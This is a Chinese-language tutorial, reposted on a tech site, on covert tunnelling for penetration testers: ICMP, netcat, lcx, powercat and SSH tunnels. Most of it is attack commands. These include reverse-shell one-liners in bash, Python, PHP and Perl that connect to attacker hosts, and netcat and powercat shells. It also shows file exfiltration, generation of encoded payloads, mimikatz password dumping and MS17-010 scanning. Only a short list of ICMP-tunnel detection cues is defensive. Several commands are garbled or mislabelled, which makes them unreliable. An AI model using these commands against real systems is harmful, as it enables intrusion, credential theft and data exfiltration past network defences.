IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 网络协议 -> 隐藏隧道通信技术 -> 正文阅读

[网络协议]隐藏隧道通信技术

隐藏隧道基础知识

概述

网络在通信前会在两台机器建立TCP连接,然后进行通信。

隧道是绕过端口屏蔽的通信方式,防火墙两端的数据包通过防火墙所允许的数据包类型或者进行封装 ,然后穿过防火墙,与对方通信。

隧道列举:

网络层:IPV6隧道,ICMP隧道,GRE隧道;

传输层:TCP隧道,UDP隧道,常规端口转发。

应用层:SSH隧道,HTTP隧道,HTTS隧道,DNS 隧道

判断内网连通性:

判断协议:tcp,http,dns,icmp等;

允许流量出口的端口:80 ,8080,443,53,110,123等

1.ICMP协议:

ping 《ip或者域名》
在这里插入图片描述

2.TCP协议

nc工具;

nc -zv 192.168.102.21 135

在这里插入图片描述

3.HTTP协议

curl :curl www.baidu.com 80

在这里插入图片描述

3.DNS协议

nslookup:(windows)

在这里插入图片描述

网络层隧道技术(常用隧道协议:IPV6和ICMP )

Ipv6隧道技术简介:

是通过IPv4隧道 IPv6数据报文的技术,把IPv6报文整体封装在IPv4数据报文中。

执行隧道功能的节点的IPv6地址如果兼容IPv地址时,自动隧道是可行的 。如果给执行隧道功能的节点分配地址采用的时自动隧道方法就不用进行配置;

配置隧道方法要求隧道末端节点 使用其他机制来获得IPv4地址:DHCP,人工配置;

支持IPv6的隧道工具有socat 6tunnel,n6tunnel等。

ICMP隧道:

一般两台机器通信开放端口,但是ICMP不需要,最常见的就是ping命令:如果攻击上层隧道(HTTP,DNS,正反代理转发)都不行,那么就可以通过 ping命令访问远程机器,建立ICMP隧道,将TCP/UDP封装进ICMP的ping命令中,从而穿过防火墙(防火墙不会屏蔽ping命令) 。

常用的ICMP工具:icmpsh,pingtunnel ,icmptunnel ,powershell icmp

icmpsh:

安装python-impacket库:

sudo apt-get install python-impacket

sudo sysctl -w net.ipv4.icmp_echo_ignore_all=1 

./run.sh

输入之后在提示框输入目标IP地址

在目标机输入:

icmp.exe -t 192.168.1.7 -d 500 -b 30 -s 128

即可上线;

在这里插入图片描述

2.Ping Tunnel

防御ICMP隧道攻击的方法:

  • 检测同一来源的ICMP数据包;
  • 注意payload大于64bit的ICMP数据包。
  • 寻找请求包payload与相应数据payload不一致的ICMP数据包。
  • 检查ICMP数据包的协议标签:icmp会在所有的ICMPpayload 前面加“TUNL”标记标识隧道;

传输层传输技术:

常用技术有TCP,UDP ,常规端口转发等;

如果防火墙阻止了对指定端口的访问,获得目标机的权限可以用IPTABLES打开指定端口

lcx:

内网端口转发:

把靶机的3389端口转发到444端口;

靶机:lcx.exe -slave <公网IP> 444 127.0.0.1 3389

将本机的444端口监听的所有数据转到555端口;

vps: lcx.exe -listen 444 555

本地端口转发:

lcx -tran <目标主机的Ip> 3389;

netcat:

cd netcat-0.7.1/
chmod +x configure
./configure
make

nc没有-e选项解决方案:

原来安装的默认是openbsd的,而openbsd是没有-e选项的,需要变更为traditional版才有,
变更方法如下:
输入
sudo update-alternatives --config nc
此时会显示netcat的各个版本,输入2选择traditional

apt install netcat-traditional 
sudo update-alternatives --config nc
2

在这里插入图片描述

banner 抓取:

提供当前网络中系统信息和 运行服务的信息

nc -nv 127.0.0.1. 80

连接远程主机:

nc -nvv 187.65.1.207 445

端口扫描:

nc -v 127.0.0.1 80

nc -v -z  127.0.0.1 1-1024

在这里插入图片描述

端口监听:

当访问该端口时会将信息输出到命令行:

nc -l -p 9999

在这里插入图片描述

文件传输:

VPS输入:nc -lp 9999 >2.txt
目标主机输入:nc -vn 127.0.0.1 9999 < /root/netcat-0.7.1/install-sh -q 1

在这里插入图片描述

简易聊天:

vps:nc -l -p 9999
目标主机: nc -vn 127.0.0.1 999

请添加图片描述

获取 shell:

正向shell:客户端获取服务器的shell;

反向shell:服务器获取客户端的shell;通常用在开启防御措施的目标机器,例如防火墙过滤,端口转发;

(1)正向shell:

靶机:nc 108.61.183.100 4444

在这里插入图片描述

vps: nc -lvp 4444 -e /bin/sh
	 nc -lvp 4444 -e c:\windows\system32\cmd.exe

在这里插入图片描述

(2)反向shell:

本机或者VPS主机:nc _lvp 9999

在这里插入图片描述

目标机: nc -lvp 4444 -e /bin/sh
	   nc -lvp 4444 -e c:\windows\system32\cmd.exe

在目标主机没有nc时获取反向shell,通过常见的编程语言代替nc:

python:

目标机(ubuntu):python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.102.77",2222));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

在这里插入图片描述

攻击机监听:

nc -lvp 2222

在这里插入图片描述

Bash反向shell:

bash -i >& /dev/tcp/ip/port 0>&1

PHP反向shell:

php -r '$sock=fsockopen("192.168.102.67",2222);exec("/bin/bash -i 0>&3 1>&3 2>&3");'

perl反向shell:

perl -e ‘ use Socket ;$i="192.168.102.67";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(conect(s,socketaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};’

内网代理:

vps(192.168.102.109)→linux→web服务器(192.168.102.67 3333,不出网)

vps:nc -lvp 3333

linux: nc -lvp 3333 -e  /bin/sh

web: nc -v 192.168.102.109 3333 -c “nc -v 192.168.102.67 3333”

powercat:

Import-Module .\powercat.ps1
set-executionpolicy remotesigned(权限不够时输入)

通过nc正向连接powercat:

客户机:powercat -l -p 8080 -e cmd.exe -v

kali:netcat 192.168.102.232 8080-vv
chcp 65001
powershell "./mimikatz.exe 'sekurlsa::logonPasswords full' > C:\Users\wxl\Desktop\14.txt 'exit'" 

在这里插入图片描述

用powercat正向shell连接;mimikzta获取密码是dump不出来的;并且会弹powershell框
请添加图片描述
请添加图片描述

-l;监听模式,用于入站连接;

-p指定监听端口;

-e 启动进程的名称;

-v 显示详情;

nc反向连接shell:

kali:netcat -l -p 8080-vv

客户机:powercat -c 192.168.102.232 -p 8080 -e cmd.exe 

通过powercat返回powershell:

win10(102.55):powershell -l -p 9999 -v

在这里插入图片描述

win7(102.232):powercat -c 192.168.102.55 -p 9999 -v -ep

在这里插入图片描述

powercat 传文件:

win10:powercat -l -p 9999 -of 14.txt -v

win7:powercat -c 192.168.102.55 -p 9999 -i c:\users\wxl\desktop\14.txt -v

powercat 生成payload:

win7 :powercat -l -p 9999 -e cmd -v -g >> shell.ps1
将生成的payload上传到win10,win7中执行命令:
powercat -c 192.168.102.55 -p 9999 -v

在这里插入图片描述

反弹shell;

win7 :powercat -l -p 9999 -e cmd -v -g >> shell2.ps1
powercat -c 192.168.102.55 -p 9999 -v

生成经过编码的payload:

win7 :powercat -c 192.168.102.55 -p 9999 -ep -ge
powercat -l -p 9999 -v

应用层隧道技术:

SSH协议:

  • 简单的ssh命令:

此外,本文只讨论SSH在Linux Shell中的用法。如果要在Windows系统中使用SSH,会用到另一种软件PuTTY,这需要另文介绍。

二、最基本的用法

SSH主要用于远程登录。假定你要以用户名user,登录远程主机host,只要一条简单命令就可以了。

  $ ssh user@host

如果本地用户名与远程用户名一致,登录时可以省略用户名。

  $ ssh host

SSH的默认端口是22,也就是说,你的登录请求会送进远程主机的22端口。使用p参数,可以修改这个端口。

  $ ssh -p 2222 user@host

在这里插入图片描述

创建ssh隧道参数:

-c:压缩传输,提高传输速度;
-f: 将ssh传输转入后台,不占用当前的shell;
-N:建立静默链接,(看不到具体会话);
-g:允许远程主机连接本地用于转发的端口;
-l:本地端口转发;
-r:远程端口转发;
-p:指定SSH端口;
-D:socks代理;

在这里插入图片描述

1.端口转发:

以Ubuntu为跳板将win7的3389端口映射到vps的1153端口上,就能通过1153访问3389了

Cobalt Strike socks4代理:

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
将payload复制到msf中,此时就是全局代理:
在这里插入图片描述

扫描端口:
在这里插入图片描述在这里插入图片描述

扫描ms17-010:
请添加图片描述

  网络协议 最新文章
使用Easyswoole 搭建简单的Websoket服务
常见的数据通信方式有哪些?
Openssl 1024bit RSA算法---公私钥获取和处
HTTPS协议的密钥交换流程
《小白WEB安全入门》03. 漏洞篇
HttpRunner4.x 安装与使用
2021-07-04
手写RPC学习笔记
K8S高可用版本部署
mySQL计算IP地址范围
上一篇文章      下一篇文章      查看所有文章
加:2021-10-11 17:52:51  更:2021-10-11 17:53:45 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年6日历 -2024/6/29 18:25:07-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码